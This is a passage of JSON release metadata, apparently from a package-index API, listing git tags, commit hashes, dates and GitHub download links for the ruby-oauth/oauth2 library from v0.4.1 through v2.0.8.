dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.8/manifests"},{"name":"v2.0.7","sha":"d499c582ae505c4cec53836a5cfef0e034b29f33","kind":"tag","published_at":"2022-08-22T11:15:35.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.7","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.7/manifests"},{"name":"v2.0.6","sha":"8df9452e01494e155d6e5de94829bc9f55c63a1d","kind":"tag","published_at":"2022-07-13T03:03:52.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.6","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.6/manifests"},{"name":"v2.0.5","sha":"924d5337f42a615797f3635206806ffaa202ef92","kind":"tag","published_at":"2022-07-07T13:27:23.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.5","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.5/manifests"},{"name":"v2.0.4","sha":"6aaaba23cb0d335985bc85e426731a6fd70820cb","kind":"tag","published_at":"2022-07-01T16:00:39.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.4","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.4/manifests"},{"name":"v1.4.10","sha":"12ee1f160125f6d12caf53659f63c50bd1aa793d","kind":"tag","published_at":"2022-07-01T15:42:28.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.10","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.10/manifests"},{"name":"v2.0.3","sha":"5da356219d8b09f04f211d110172c3d5400b4b9a","kind":"tag","published_at":"2022-06-28T00:54:25.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.3","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"fd776022d32005282c9355a86e5cebff97221842","kind":"tag","published_at":"2022-06-24T14:32:53.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"3fe2dc814fb8b58583b9a833b083606b9ba3ebb6","kind":"tag","published_at":"2022-06-22T15:25:58.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"2313d090105079e91179825ca11ca699230026ac","kind":"tag","published_at":"2022-06-21T11:48:22.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc3","sha":"23c4db5d47f0765488d9f5877aa696b64f543156","kind":"tag","published_at":"2022-06-20T23:52:53.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.0.rc3","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.0.rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.0.rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc3/manifests"},{"name":"v2.0.0.rc2","sha":"83db079975a63c7fa004f0c7af19ec811c160463","kind":"tag","published_at":"2022-06-12T15:41:23.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.0.rc2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc2/manifests"},{"name":"v2.0.0.rc1","sha":"98602da1a627e98621d7641196751173728e9821","kind":"tag","published_at":"2022-06-10T18:11:49.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.0.rc1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc1/manifests"},{"name":"v1.4.9","sha":"9105b39e08c4310a144519dafc392a7783876b70","kind":"tag","published_at":"2022-02-20T08:00:36.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.9","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.9/manifests"},{"name":"v1.4.8","sha":"934faa899c7731df627093f4d76139ab40380709","kind":"tag","published_at":"2022-02-18T07:04:30.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.8","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.8/manifests"},{"name":"v1.4.7","sha":"bd7cf62f7d92abb6d4cfd3db608bc0147dcb31cf","kind":"tag","published_at":"2021-03-19T03:52:35.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.7","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.7/manifests"},{"name":"v1.4.6","sha":"92544cf6fdd1cc93fbea67beec9de8dc9d1fe041","kind":"tag","published_at":"2021-03-19T02:35:34.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.6","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.6/manifests"},{"name":"v1.4.5","sha":"e395da8299cdef70138667656f68e2fbdc3d5402","kind":"tag","published_at":"2021-03-18T21:55:15.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.5","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.5/manifests"},{"name":"v1.4.4","sha":"cb8eca28ec8b831833199cb4e60014cfc0bc4ac0","kind":"tag","published_at":"2020-02-13T00:05:10.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.4","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.4/manifests"},{"name":"v1.4.3","sha":"6e4c179285ee9ba2516a6724b59289d7deefb0aa","kind":"tag","published_at":"2020-01-29T09:02:45.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.3","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.3/manifests"},{"name":"v1.4.2","sha":"889bced24bd398d1a3962c349c0ae0b1ca314185","kind":"tag","published_at":"2019-10-01T10:03:25.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.2/manifests"},{"name":"v1.4.1","sha":"04d762e9df511d81ba75dcc502d7697b2d25cafb","kind":"tag","published_at":"2018-10-13T08:52:54.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"24acc34ced17745ec1972d1b9494f1d8778e300a","kind":"tag","published_at":"2017-06-09T18:23:17.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.0/manifests"},{"name":"v1.3.1","sha":"96daaf56765652a5ffc792f645f6b3a4a42ce9bb","kind":"tag","published_at":"2017-03-03T09:56:39.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.3.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"ca311b450f94b22b9087bc8fb26abe4ad64763ee","kind":"tag","published_at":"2016-12-28T00:36:45.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.3.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"fb502c755ed8801aa5d4575f18b86a9b7ecf9f5e","kind":"tag","published_at":"2016-07-01T02:00:55.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.2.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"90262ae7ebb447da443b80df361ffcaa3a564343","kind":"tag","published_at":"2016-01-30T18:20:40.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.1.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"3d621270f0a36006820003782dfad4e78fc7618f","kind":"tag","published_at":"2014-07-09T23:06:12.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.0.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.0.0/manifests"},{"name":"v0.9.4","sha":"277bd712becd9ff7c82f632179de0cf33a3a26ca","kind":"tag","published_at":"2014-05-24T01:13:40.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.9.4","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.4/manifests"},{"name":"v0.9.3","sha":"d3e5107e586733226fdbae803d1874a1666cc8a1","kind":"tag","published_at":"2014-01-16T05:14:30.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.9.3","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.3/manifests"},{"name":"v0.9.2","sha":"347fd4ba73e517d5d2f3a2b644c718bb22baf998","kind":"tag","published_at":"2013-06-30T09:25:35.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.9.2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.2/manifests"},{"name":"v0.9.1","sha":"9ce380903c396782a92635ea856f91bdaaaa2e9d","kind":"tag","published_at":"2013-02-20T23:36:54.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.9.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.1/manifests"},{"name":"v0.8.1","sha":"9b5054c967a9f76e4fc59ddad93c135f3b1573ba","kind":"tag","published_at":"2013-02-20T23:36:04.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.8.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.8.1/manifests"},{"name":"v0.9.0","sha":"7fc6abaa15ecb95f67a2d0290fda36d8a7b2ade4","kind":"tag","published_at":"2013-02-10T15:39:42.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.9.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"19540a737aab816fe838d150c9a401e694c58aa5","kind":"tag","published_at":"2012-07-01T01:22:41.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.8.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"b19ae2fcbb713226fc38736af8650478c9d7963a","kind":"tag","published_at":"2012-04-27T02:42:37.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.7.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"4cbd55439beeca9495ceee0267e036aeed379e07","kind":"tag","published_at":"2012-04-24T10:55:03.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.7.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.7.0/manifests"},{"name":"v0.6.1","sha":"68d5698b3677a88a4b27e613b342ba287543f2bc","kind":"tag","published_at":"2012-04-18T14:36:04.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.6.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"095f1d923be21068f19508cb2c9a440127a01f71","kind":"tag","published_at":"2012-04-12T19:27:09.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.6.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"e89210ac197350a25d88145eab72f0eefd551c96","kind":"tag","published_at":"2012-01-04T08:34:09.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.5.2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"1d33069a27e3f72d25211c428605b8efe2dd76b4","kind":"tag","published_at":"2011-09-26T22:33:56.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.5.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"0c50e78dd72ed2e348fad719d589d49219070e62","kind":"tag","published_at":"2011-07-29T19:47:17.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.5.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0/manifests"},{"name":"v0.5.0.rc2","sha":"11322b3961a765124d7c0b5620ecf23823a85603","kind":"tag","published_at":"2011-07-21T22:24:34.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.5.0.rc2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"2d35cfaa03c14c05dd1347b02b53587b5e29e0ad","kind":"tag","published_at":"2011-06-27T16:32:34.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.5.0.rc1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.1","sha":"7c47bcaeac146a42a7d48beb9fdf250189e53492","kind":"tag","published_at":"2011-04-22T07:47:51.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.4.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oaut